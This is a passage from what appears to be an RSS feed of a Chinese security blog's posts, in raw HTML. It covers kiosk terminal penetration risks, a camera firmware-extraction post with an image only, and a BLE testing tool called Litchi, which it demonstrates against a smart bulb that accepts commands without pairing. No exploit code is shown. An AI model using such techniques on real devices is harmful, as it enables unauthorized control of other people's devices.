总结</span></span></strong></span></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助终端设备越来越多的进入到我们的视野当中，机场、火车站、汽车站、医院、高校、银行、政务服务大厅、超市、商场等许多地方都会有这些设备的身影。其产生的安全危害小到售卖机失窃，大到进入各种系统进行内网渗透。以上仅为技术交流，请勿用于非法用途。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5656877897990726" data-s="300,640" style="" data-type="png" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=0a7400e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUAjQBYXjeJz9uyANZa9kK9vHOotQcn3aHAqZU3IHibXGU3RlPOiaYHNaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">参考链接：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//mp.weixin.qq.com/s/hKuhz6SZ7tXEHUqla1PsIQ</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p data-darkmode-bgcolor="rgb(36, 36, 36)" data-style="max-width: 100%; background-color: rgb(255, 255, 255); min-height: 1em; font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; box-sizing: border-box !important; word-wrap: break-word !important; overflow-wrap: break-word !important;" style="max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);caret-color: rgba(255, 255, 255, 0.8);color: rgba(255, 255, 255, 0.8);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247484743&amp;idx=1&amp;sn=ebe3d52122ac3c4768265148f652d6a3&amp;chksm=faae5d8ccdd9d49a0357a65d6d676523279878e037dc07d93b5a841917aa44598fc5d614246e&amp;scene=21#wechat_redirect" target="_blank" data-itemshowtype="0" data-linktype="1" hasload="1" data-darkmode-bgcolor="rgb(36, 36, 36)" style="color: rgb(125, 144, 169);cursor: pointer;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_jump_icon h5_image_link" data-positionback="static" data-darkmode-bgcolor="rgb(36, 36, 36)" style="max-width: 100%;line-height: 0;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6211340206185567" data-s="300,640" data-type="jpeg" data-w="776" style="border-width: 0px;border-style: initial;border-color: initial;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 477px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=527b4ebd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZTgmu9YEzqN8TjicsVPcYyjs1COchTbAjLdARxGopqNlPYMyTGlu6icoEo2uhgkodzBJBQB12lCIlw%2F640%3Fwx_fmt%3Djpeg"/></span></a></p><p data-darkmode-bgcolor="rgb(36, 36, 36)" data-style="max-width: 100%; background-color: rgb(255, 255, 255); min-height: 1em; font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; text-align: center; box-sizing: border-box !important; word-wrap: break-word !important; overflow-wrap: break-word !important;" class="js_darkmode__249" style="max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);caret-color: rgba(255, 255, 255, 0.8);color: rgba(255, 255, 255, 0.8);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247484797&amp;idx=1&amp;sn=02deb9c9bbc231119a2bec8369b383b3&amp;chksm=faae5db6cdd9d4a010226022ba85578fa64a466628553d60b7f9696022d9c4f9c05520f18fec&amp;scene=21#wechat_redirect" target="_blank" data-itemshowtype="0" data-linktype="1" hasload="1" data-darkmode-bgcolor="rgb(36, 36, 36)" style="color: rgb(125, 144, 169);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="max-width: 100%;line-height: 0;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6990920881971465" data-s="300,640" data-type="jpeg" data-w="771" style="border-width: 0px;border-style: initial;border-color: initial;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 477px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6afd356a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb7QTXMAia8rV8pl3YFhxmhfcZGGZ6p1icSqz13oZTUhNTssXEJssScJZqnEcEic3nbugJlpKGc26H8w%2F640%3Fwx_fmt%3Djpeg"/></span></a></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 620px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 640px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="jpeg" data-w="1250" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6269f5ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247486060">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1a7488e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486060%26idx%3D1%26sn%3Dd3efeb71f48f8bc428f14393ec398ba2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 04 Jun 2020 21:13:00 +0800</pubDate>
    </item>
    <item>
      <title>摄像头SPI固件提取</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486033&amp;idx=1&amp;sn=be1a92492013276ca1bce93bf7b3c8f0</link>
      <description>黑客李泉倾情打造</description>
      <content:encoded><![CDATA[<p>
原创 <span></span> <span>2020-05-23 18:00</span> <span style="display: inline-block;"></span>
</p>

<p>黑客李泉倾情打造</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fa3a4f9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZXzRUMgQIYqliapEocmUCqUuKNIFZ6tmdIIosEalnZKgjROic6UZ2R8VJgcHSqayurbiafQcpiauom9w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div class="share_notice" id="js_common_share_desc_wrap"><div class="weui-ellipsis__text__wrp"><span id="js_common_share_desc" class="weui-ellipsis__text"></span></div>
         
        </div>
        




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=35559e0e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486033%26idx%3D1%26sn%3Dbe1a92492013276ca1bce93bf7b3c8f0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 23 May 2020 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>litchi-低功耗蓝牙测试小工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486007&amp;idx=1&amp;sn=f0882b62c49f022005262ee7a137304d</link>
      <description>低功耗蓝牙小工具</description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2020-05-01 20:00</span> <span style="display: inline-block;"></span>
</p>

<p>低功耗蓝牙小工具</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f89983c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIo2oqL525kFAclpicNtcYU6F5LibhmlC6kaCUNfNfTE06BKypWuiaFGPcMQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.4525862068965517" data-s="300,640" style="" data-type="png" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=b647ae37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIo7HqAnb2uhKtGsOzccbnhAtYSvwS5dibGsum48UywOGhc9uRkT0YjmNQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Hello，师傅们晚上好。今天我们来介绍个<strong>低功耗蓝牙小工具</strong>，在这之前我们先简单介绍一下低功耗蓝牙(BLE)</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">先附上地址｜欢迎师傅们star</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/nian-hua/Litchi</span></span></code></pre></section><p><br/><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">蓝牙<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">自</span>4.0版本以后开始支持低功耗，在与BLE交互的过程中，最重要的是Characteristic、Desciptor、Service这三个概念：</span></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Characteristic：</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">可以理解为一个数据类型，它包括一个value和0至多个对此characteristic的描述(Descriptor)</span></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Descriptor：</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">对Characterisctic的描述，如范围、单位等</span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></strong></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Service：</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">是Characteristic的集合，它可以包含多个Characteristic</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">重点：一个BLE终端可以包含多个Service，一个Service可以包含多个Characteristic，一个Characteristic包含一个value和多个Descriptor，一个Descriptor包含一个value（其中Characteristic比较重要，用的比较多）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们再来看一下图片介绍<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8062015503875969" data-s="300,640" style="" data-type="png" data-w="1290" src="https://wechat2rss.xlab.app/img-proxy/?k=1df0e9af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIomXew5SwFDZJrVGPRfZvMa0esxAia5iaG4Cuuia7B28Uibrqdqe9Tt8fjHw%2F640%3Fwx_fmt%3Dpng"/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="288" data-source-title="胖猴实验室"><section class="js_blockquote_digest"><section>上图中，右侧图片为一个BLE设备的实例，可以看到在图片中有4个service，前两个为Unknown service，后两个分别是Battery Service(电池服务)和Current Time Service(当前时间服务)。而在第二个Unknown service中，有一个Unknown Characteristic。值得一提的是，Service和Characteristic各自拥有一个UUID用于标识，在BluetoothGatt类的相关函数中，就是用这些UUID找到所需的service和characteristic，这就相当于TCP通信中的端口（port）</section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A288%2C%22text%22%3A%22%E4%B8%8A%E5%9B%BE%E4%B8%AD%EF%BC%8C%E5%8F%B3%E4%BE%A7%E5%9B%BE%E7%89%87%E4%B8%BA%E4%B8%80%E4%B8%AABLE%E8%AE%BE%E5%A4%87%E7%9A%84%E5%AE%9E%E4%BE%8B%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%E5%9C%A8%E5%9B%BE%E7%89%87%E4%B8%AD%E6%9C%894%E4%B8%AAservice%EF%BC%8C%E5%89%8D%E4%B8%A4%E4%B8%AA%E4%B8%BAUnknown%20service%EF%BC%8C%E5%90%8E%E4%B8%A4%E4%B8%AA%E5%88%86%E5%88%AB%E6%98%AFBattery%20Service(%E7%94%B5%E6%B1%A0%E6%9C%8D%E5%8A%A1)%E5%92%8CCurrent%20Time%20Service(%E5%BD%93%E5%89%8D%E6%97%B6%E9%97%B4%E6%9C%8D%E5%8A%A1)%E3%80%82%E8%80%8C%E5%9C%A8%E7%AC%AC%E4%BA%8C%E4%B8%AAUnknown%20service%E4%B8%AD%EF%BC%8C%E6%9C%89%E4%B8%80%E4%B8%AAUnknown%20Characteristic%E3%80%82%E5%80%BC%E5%BE%97%E4%B8%80%E6%8F%90%E7%9A%84%E6%98%AF%EF%BC%8CService%E5%92%8CCharacteristic%E5%90%84%E8%87%AA%E6%8B%A5%E6%9C%89%E4%B8%80%E4%B8%AAUUID%E7%94%A8%E4%BA%8E%E6%A0%87%E8%AF%86%EF%BC%8C%E5%9C%A8BluetoothGatt%E7%B1%BB%E7%9A%84%E7%9B%B8%E5%85%B3%E5%87%BD%E6%95%B0%E4%B8%AD%EF%BC%8C%E5%B0%B1%E6%98%AF%E7%94%A8%E8%BF%99%E4%BA%9BUUID%E6%89%BE%E5%88%B0%E6%89%80%E9%9C%80%E7%9A%84service%E5%92%8Ccharacteristic%EF%BC%8C%E8%BF%99%E5%B0%B1%E7%9B%B8%E5%BD%93%E4%BA%8ETCP%E9%80%9A%E4%BF%A1%E4%B8%AD%E7%9A%84%E7%AB%AF%E5%8F%A3%EF%BC%88port%EF%BC%89%E2%80%8B%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22%E8%83%96%E7%8C%B4%E5%AE%9E%E9%AA%8C%E5%AE%A4%22%7D"><span class="blockquote_other">胖猴实验室</span></section></blockquote><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">根据胖猴实验室之前发布的文章，我们找到了同款存在未授权控制漏洞的灯泡，该灯泡可在未经绑定的情况下直接对其发送蓝牙数据进行控制，如下图所示：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.27085201793721975" data-s="300,640" style="" data-type="png" data-w="2230" src="https://wechat2rss.xlab.app/img-proxy/?k=c7e8faa3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIoEekNbiaAYf57syt2UFZBOxffeCELpp7g6uItUdgXjsXMs6TJVYick0Uw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 